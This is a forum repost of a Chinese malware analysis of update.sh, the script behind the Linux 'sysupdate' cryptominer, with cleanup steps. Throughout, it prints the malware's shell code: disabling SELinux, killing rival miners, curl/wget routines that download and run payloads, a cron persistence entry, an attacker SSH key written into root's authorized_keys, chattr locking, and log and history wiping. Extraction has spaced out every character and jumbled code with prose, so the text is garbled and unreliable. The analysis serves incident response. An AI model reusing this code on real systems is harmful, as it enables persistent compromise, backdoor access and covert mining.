搜索

[16004] 2020-10-24_Linux系统sysupdate挖矿病毒之update.sh脚本分析

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-10-24_Linux系统sysupdate挖矿病毒之update.sh脚本分析 L i n u x 系 统 s y s u p d a t e 挖 矿 病 毒 之 u p d a t e . s h 脚 本 分 析 磊 叔   F r e e B u f   2 0 2 0 - 1 0 - 2 4 序 序 这 是 第 二 次 遇 到 该 挖 矿 病 毒 ， 网 上 也 有 很 多 大 佬 对 该 病 毒 做 过 分 析 ， 也 想 过 再 写 可 能 没 有 什 么 意 义 ， 最 终 还 是 想 写 一 写 属 于 自 己 的 东 西 ， 也 算 是 两 次 相 遇 的 总 结 。 背 景 背 景 这 次 废 话 不 多 说 ， 直 接 上 ， 背 景 感 觉 毫 无 意 义 。 分 析 分 析 现 象 确 认 现 象 确 认 首 先 确 认 现 象 ， 通 过 查 看 系 统 进 程 发 现 存 在 C P U 占 用 过 高 的 现 象 ， 如 下 图 ： 查 看 进 程 信 息 ： 进 程 关 联 查 看 ， 发 现 该 病 毒 启 动 时 间 是 在 2 0 2 0 . 0 9 . 1 8   1 0 : 0 0 : 0 1 。 u p d a t e . s h 脚 本 分 析 脚 本 分 析 通 过 对 程 序 进 行 分 析 ， 发 现 该 病 毒 程 序 同 路 径 下 存 在 u p d a t e . s h 文 件 （ / e t c / u p d a t e . s h ） ， 通 过 对 该 文 件 进 行 分 析 ， 发 现 该 文 件 为 挖 矿 病 毒 执 行 的 脚 本 文 件 ， 因 此 对 该 脚 本 文 件 进 行 分 析 。
定 义 系 统 变 量 定 义 系 统 变 量 关 闭 s e l i n u x 防 火 墙 ， 隐 藏 输 出 的 错 误 信 息 ， 如 果 有 错 误 信 息 就 输 出 到 空 设 备 2 > / d e v / n u l l 空 设 备 ： 关 闭 s e l i n u x ： 把 内 容 同 步 写 入 磁 盘 设 置 变 量 ： 查 看 s s h 公 钥 信 息 关 闭 相 关 病 毒 程 序 使 用 p s   a u x f 查 看 所 有 进 程 ， 并 针 对 k i n s i i n g 进 行 查 找 ， a w k 是 t a b 分 割 ， p r i n t   $ 2 是 取 出 第 二 个 单 词 ， p s   a u x f 查 看 进 程 中 第 二 单 词 为 P I D （ 这 里 关 闭 的 进 程 较 多 ， 只 列 举 其 中 一 些 ） ： s e l i u n x 探 测 ， 检 查 是 否 关 闭 s e t e n f o r c e   0   2 > d e v / n u l l e c h o   S E L I N U X = d i s a b l e d   >   / e t c / s y s c o n f i g / s e l i n u x   2 > / d e v / n u l l s y n c   & &   e c h o   3   > / p r o c / s y s / v m / d r o p _ c a c h e s c r o n d i r = ' / v a r / s p o o l / c r o n / ' " $ U S E R " c o n t = ` c a t   $ { c r o n d i r } ` s s h t = ` c a t   / r o o t / . s s h / a u t h o r i z e d _ k e y s `       # s s h t   =   c a t   / r o o t / . s s h / a u t h o r i z e d _ k e y s p s   a u x f | g r e p   k i n s i n g |   a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   a u x f | g r e p   k d e v t m p f s i |   a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   a u x f | g r e p   - v   g r e p | g r e p   " m i n e . m o n e r o p o o l . c o m " | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 n e t s t a t   - a n p   |   g r e p   1 8 5 . 7 1 . 6 5 . 2 3 8   |   a w k   ' { p r i n t   $ 7 } '   |   a w k   - F ' [ / ] '   ' { p r i n t   $ 1 } '   |   x a r g s   - I   %   k i l l   - 9   % i f   [   - f   " / u s r / b i n / c u r l "   ]
t h e n e c h o   $ 1 , $ 2 h t t p _ c o d e = ` c u r l   - I   - m   1 0   - o   / d e v / n u l l   - s   - w   % { h t t p _ c o d e }   $ 1 ` i f   [   " $ h t t p _ c o d e "   - e q   " 2 0 0 "   ] t h e n c u r l   - - c o n n e c t - t i m e o u t   1 0   - - r e t r y   1 0 0   $ 1   >   $ 2 e l i f   [   " $ h t t p _ c o d e "   - e q   " 4 0 5 "   ] t h e n c u r l   - - c o n n e c t - t i m e o u t   1 0   - - r e t r y   1 0 0   $ 1   >   $ 2 e l s e c u r l   - - c o n n e c t - t i m e o u t   1 0   - - r e t r y   1 0 0   $ 3   >   $ 2 f i e l i f   [   - f   " / u s r / b i n / c u r "   ] t h e n h t t p _ c o d e   =   ` c u r   - I   - m   1 0   - o   / d e v / n u l l   - s   - w   % { h t t p _ c o d e }   $ 1 ` i f   [   " $ h t t p _ c o d e "   - e q   " 2 0 0 "   ] t h e n c u r   - - c o n n e c t - t i m e o u t   1 0   - - r e t r y   1 0 0   $ 1   >   $ 2 e l i f   [   " $ h t t p _ c o d e "   - e q   " 4 0 5 "   ] t h e n c u r   - - c o n n e c t - t i m e o u t   1 0   - - r e t r y   1 0 0   $ 1   >   $ 2 e l s e c u r   - - c o n n e c t - t i m e o u t   1 0   - - r e t r y   1 0 0   $ 3   >   $ 2 f i e l i f   [   - f   " / u s r / b i n / w g e t "   ] t h e n w g e t   - - t i m e o u t = 1 0   - - t r i e s = 1 0 0   - O   $ 2   $ 1
判 断 是 否 运 行 相 同 程 序 的 挖 矿 病 毒 ， 如 果 有 则 删 除 i f   [   $ ?   - n e   0   ] t h e n w g e t   - - t i m e o u t = 1 0   - - t r i e s = 1 0 0   - O   $ 2   $ 3 f i e l i f   [   - f   " / u s r / b i n / w g e "   ] t h e n w g e   - - t i m e o u t = 1 0   - - t r i e s = 1 0 0   - O   $ 2   $ 1 i f   [   $ ?   - e q   0   ] t h e n w g e   - - t i m e o u t = 1 0   - - t r i e s = 1 0 0   - O   $ 2   $ 3 f i f i p s   a x f   - o   " p i d " | w h i l e   r e a d   p r o c i d         # 输 出 所 有 p i d 信 息 d o l s   - l   / p r o c / $ p r o c i d / e x e   |   g r e p   / t m p i f   [   $ ?   - n e   1   ] t h e n c a t   / p r o c / $ p r o c i d / c m d l i n e |   g r e p   - a   - E   " s y s g u a r d | u p d a t e . s h | s y s u p d a t e | n e t w o r k s e r v i c e " i f   [   $ ?   - n e   0   ] t h e n k i l l   - 9   $ p r o c i d e l s e e c h o   " d o n ' t   k i l l " f i f i
解 锁 操 作 对 文 件 进 行 加 锁 挖 矿 病 毒 相 关 执 行 解 锁 文 件 启 动 项 配 置 ： d o n e p s   a x f   - o   " p i d   % c p u "   |   a w k   ' { i f ( $ 2 > = 4 0 . 0 )   p r i n t   $ 1 } '   |   w h i l e   r e a d   p r o c i d       # 查 找 所 有 P I D 中 c p u 大 于 4 0 的 d o c a t   / p r o c / $ p r o c i d / c m d l i n e |   g r e p   - a   - E   " s y s g u a r d | u p d a t e . s h | s y s u p d a t e | n e t w o r k s e r v i c e " i f   [   $ ?   - n e   0   ]         # $ ？ 取 上 一 个 执 行 命 令 的 状 态 ， 成 功 返 回 0 ， 错 误 返 回 其 他 字 符   - n e t h e n k i l l   - 9   $ p r o c i d e l s e e c h o   " d o n ' t   k i l l " f i d o n e c h a t t r   - R   - i   / v a r / s p o o l / c r o n   # - R 递 归 处 理 ， 解 锁 / v a r / s p o o l / c r o n 目 录 下 的 所 有 文 件 及 子 目 录 c h a t t r   - i   / e t c / c r o n t a b c h a t t r   - R   + i   / v a r / s p o o l / c r o n c h a t t r   + i   / e t c / c r o n t a b e c h o   " i   a m   r o o t " e c h o   " g o t o   1 "   > >   / e t c / s y s u p d a t e s c h a t t r   - i   / e t c / s y s u p d a t e * c h a t t r   - i   / e t c / c o n f i g . j s o n * c h a t t r   - i   / e t c / u p d a t e . s h * c h a t t r   - i   / r o o t / . s s h / a u t h o r i z e d _ k e y s * c h a t t r   - i   / e t c / n e t w o r k s e r v i c e t h e n u n l o c k _ c r o n     # 调 用 解 锁
配 置 S S H ， 用 于 登 录 依 次 对 / e t c / c o n f i g . j s o n | s y s u p d a t e | s y s g u a r d 的 文 件 大 小 ， 并 对 对 应 文 件 进 行 下 载 ： 下 载 u p d a t e . s h 对 / e t c / n e t w o r k s e r v i c e 文 件 大 小 进 行 比 较 ， 并 下 载 对 应 文 件 ： u n l o c k _ c r o n     # 调 用 解 锁 e c h o   " * / 3 0   *   *   *   *   s h   / e t c / u p d a t e . s h   > / d e v / n u l l   2 > & 1 "   > >   $ { c r o n d i r } l o c k _ c r o n     # 加 锁 e l s e u n l o c k _ c r o n [ [   $ c o n t   = ~   " u p d a t e . s h "   ] ]   | |   ( c r o n t a b   - l   ;   e c h o   " * / 3 0   *   *   *   *   s h   / e t c / u p d a t e . s h   > / d e v / n u l l   2 > & 1 " )   |   c r o n t a b   - l o c k _ c r o n c h m o d   7 0 0   / r o o t / . s s h / e c h o   > >   / r o o t / . s s h / a u t h o r i z e d _ k e y s c h m o d   6 0 0   r o o t / . s s h / a u t h o r i z e d _ k e y s e c h o   " s s h - r s a   x x x   r o o t @ u 1 7 "   > >   / r o o t / . s s h / a u t h o r i z e d _ k e y s     # 写 入 公 钥 文 件 f i l e s i z e _ c o n f i g = ` l s   - l   / e t c / c o n f i g . j s o n   |   a w k   ' {   p r i n t   $ 5   } ' ` i f   [   " $ f i l e s i z e _ c o n f i g "   - n e   " $ c o n f i g _ s i z e "   ] t h e n p k i l l   - f   s y s u p d a t e r m   / e t c / c o n f i g . j s o n d o w n l o a d s   $ c o n f i g _ u r l   / e t c / c o n f i g . j s o n   $ c o n f i g _ u r l _ b a c k u p e l s e e c h o   " n o   n e e d   d o w n l o a d " d o w n l o a d s   $ s h _ u r l   / e t c / u p d a t e . s h   $ s h _ u r l _ b a c k u p i f   [   - f   " / e t c / n e t w o r k s e r v i c e "   ]     # 对 / e t c / n e t w o r k s e r v i c e 文 件 大 小 进 行 比 较 t h e n f i l e s i z e 2 = ` l s   - l   / e t c / n e t w o r k s e r v i c e   |   a w k   ' {   p r i n t   $ 5   } ' ` i f   [   " $ f i l e s i z e 2 "   - n e   " $ s c a n _ s i z e "   ]
对 s y s u p d a t e | n e t w o r k s e r v i c e | s y s g u a r d 分 别 进 行 提 权 ， 并 对 执 行 的 程 序 进 行 判 定 ， 是 否 为 r o o t 执 行 ， 并 再 次 执 行 ， 如 下 ： 提 权 判 断 是 否 为 r o o t ， 并 运 行 程 序 再 对 / e t c / 下 的 病 毒 文 件 进 行 加 锁 ， 并 对 / t m p / 路 径 下 的 病 毒 文 件 进 行 解 锁 ， 如 下 ： 、 t h e n p k i l l   - f   n e t w o r k s e r v i c e r m   / e t c / n e t w o r k s e r v i c e d o w n l o a d s     $ s c a n _ u r l   / e t c / n e t w o r k s e r v i c e   $ s c a n _ u r l _ b a c k u p e l s e e c h o   " n o t   n e e d   d o w n l o a d " f i e l s e d o w n l o a d s   $ s c a n _ u r l   / e t c / n e t w o r k s e r v i c e   $ s c a n _ u r l _ b a c k u p c h m o d   7 7 7   / e t c / s y s u p d a t e i f   [   $ ?   - n e   0   ] t h e n c d   / e t c e c h o   " n o t   r o o t   r u n i n g " s l e e p   5 s . / s y s u p d a t e   & e l s e e c h o   " r o o t   r u n i n g . . . . . " f i c h m o d   7 7 7   / e t c / s y s u p d a t e c h a t t r   + i   / e t c / s y s u p d a t e c h m o d   7 7 7   / e t c / n e t w o r k s e r v i c e c h a t t r   + i   / e t c / n e t w o r k s e r v i c e c h m o d   7 7 7   / e t c / c o n f i g . j s o n
相 关 解 锁 动 作 完 成 后 会 在 t m p 路 径 再 次 进 行 e t c 路 径 下 的 操 作 ， 操 作 完 成 后 ， 会 在 此 对 t m p 路 径 下 的 病 毒 文 件 进 行 加 锁 操 作 ， 这 里 不 在 列 举 ， 可 参 照 上 述 信 息 。 痕 迹 擦 除 完 成 上 述 操 作 后 会 删 除 已 有 规 则 ， 并 新 建 相 关 规 则 ， 清 除 历 史 命 令 操 作 和 清 除 相 关 日 志 信 息 ， 如 下 ： c h a t t r   + i   / e t c / c o n f i g . j s o n c h m o d   7 7 7   / e t c / u p d a t e . s h c h a t t r   + i   / e t c / u p d a t e . s h c h m o d   7 7 7   / r o o t / . s s h / a u t h o r i z e d _ k e y s c h a t t r   + i   / r o o t / . s s h / a u t h o r i z e d _ k e y s e l s e e c h o   " g o t o   1 "   >   / t m p / s y s u p d a t e s c h a t t r   - i   / t m p / s y s u p d a t e * c h a t t r   - i   / t m p / n e t w o r k s e r v i c e c h a t t r   - i   / t m p / c o n f i g . j s o n * c h a t t r   - i   / t m p / u p d a t e . s h * i p t a b l e s   - F     # 清 除 预 设 表 f i l t e r 中 的 所 有 规 则 链 的 规 则 i p t a b l e s   - X     # 清 除 预 设 表 f i l t e r 中 使 用 者 自 定 链 中 的 规 则 i p t a b l e s   - A   O U T P U T   - p   t c p   - - d p o r t   3 3 3 3   - j   D R O P     #   - A : 添 加 到 规 则 末 尾   - p : 协 议   - - d p o r t ： 目 标 端 口   - j ： 匹 配 规 则     D R O P ： 丢 弃 i p t a b l e s   - A   O U T P U T   - p   t c p   - - d p o r t   5 5 5 5   - j   D R O P i p t a b l e s   - A   O U T P U T   - p   t c p   - - d p o r t   7 7 7 7   - j   D R O P i p t a b l e s   - A   O U T P U T   - p   t c p   - - d p o r t   9 9 9 9   - j   D R O P i p t a b l e s   - I   I N P U T   - s   4 3 . 2 4 5 . 2 2 2 . 5 7   - j   D R O P   # - I ： 添 加 到 指 定 位 置   I N P U T ： 进 入   - s ： 源 端 I P 地 址 s e r v i c e   i p t a b l e s   r e l o a d     # 重 启 i p t a b l e s p s   a u x f | g r e p   - v   g r e p | g r e p   " s t r a t u m " | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 h i s t o r y   - c     # 清 理 历 史 命 令 e c h o   >   / v a r / s p o o l / m a i l / r o o t e c h o   >   / v a r / l o g / w t m p e c h o   >   / v a r / l o g / s e c u r e
上 述 为 u p d a t e . s h 脚 本 的 相 关 操 作 ， 通 过 对 脚 本 进 行 分 析 ， 可 以 发 现 该 挖 矿 病 毒 主 要 依 赖 进 程 和 启 动 项 信 息 ， 借 此 可 以 对 该 病 毒 进 行 清 理 。 处 置 处 置 文 件 确 认 文 件 确 认 / e t c 目 录 文 件 发 现 s y s u p d a t e 、 s g u a r d 等 文 件 / t m p 路 径 未 发 现 文 件 启 动 项 确 认 启 动 项 确 认 通 过 对 启 动 项 进 行 查 看 ， 未 发 现 启 动 项 信 息 ， 如 下 ： 病 毒 清 理 病 毒 清 理 通 过 上 述 分 析 ， 已 明 确 相 关 信 息 ， 因 此 进 行 病 毒 清 理 。 关 闭 进 程 关 闭 进 程 通 过 查 看 进 程 信 息 ， 关 闭 所 有 与 病 毒 相 关 进 程 ： 删 除 病 毒 文 件 删 除 病 毒 文 件 无 法 直 接 删 除 文 件 ： e c h o   >   / v a r / l o g / s e c u r e e c h o   >   / r o o t / . b a s h _ h i s t o r y
因 此 需 要 解 锁 文 件 属 性 ： 删 除 文 件 ， 并 查 看 是 否 存 在 异 常 文 件 , 通 过 查 看 ， 发 现 异 常 文 件 已 清 理 ： 系 统 恢 复 系 统 恢 复 通 过 删 除 相 关 文 件 ， 完 成 对 病 毒 清 理 ， 系 统 恢 复 ： 命 令 汇 总 命 令 汇 总 明 令 明 令 用 途 p s   - a u x t o p 查 看 系 统 进 程 信 息 s y s t e m c t l   s t a t u s   [ p i d ] 关 联 信 息 查 看 L s   - l   / p r o c / p i d / e x e 进 程 信 息 查 看 c r o n t a b   - r 启 动 项 信 息 查 看 N e t s a t a   - a n p t 网 络 连 接 信 息 查 看 r m   - r f 删 除 总 结 总 结 该 脚 本 分 析 的 意 义 在 于 可 以 快 速 定 位 到 相 关 文 件 进 行 处 置 ， 对 应 急 不 熟 悉 l i n u x 系 统 命 令 的 小 伙 伴 在 对 病 毒 清 理 时 ， 不 知 道 那 些 是 病 毒 文 件 ， 那 些 正 常 文 件 ， 对 此 无 从 下 手 。 上 述 我 将 应 急 过 程 中 最 实 用 的 命 令 列 举 如 上 。 由 于 在 日 常 生 活 中 ， 使 用 桌 面 操 作 较 多 ， 因 此 对 命 令 行 使 用 不 熟 悉 ， 找 不 到 相 关 文 件 ， 因 此 对 l i n u x 系 统 挖 矿 病 毒 清 理 较 为 恐 惧 ， 希 望 通 过 对 脚 本 分 析 这 种 方 式 对 刚 入 门 的 小 伙 伴 有 所 帮 助 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理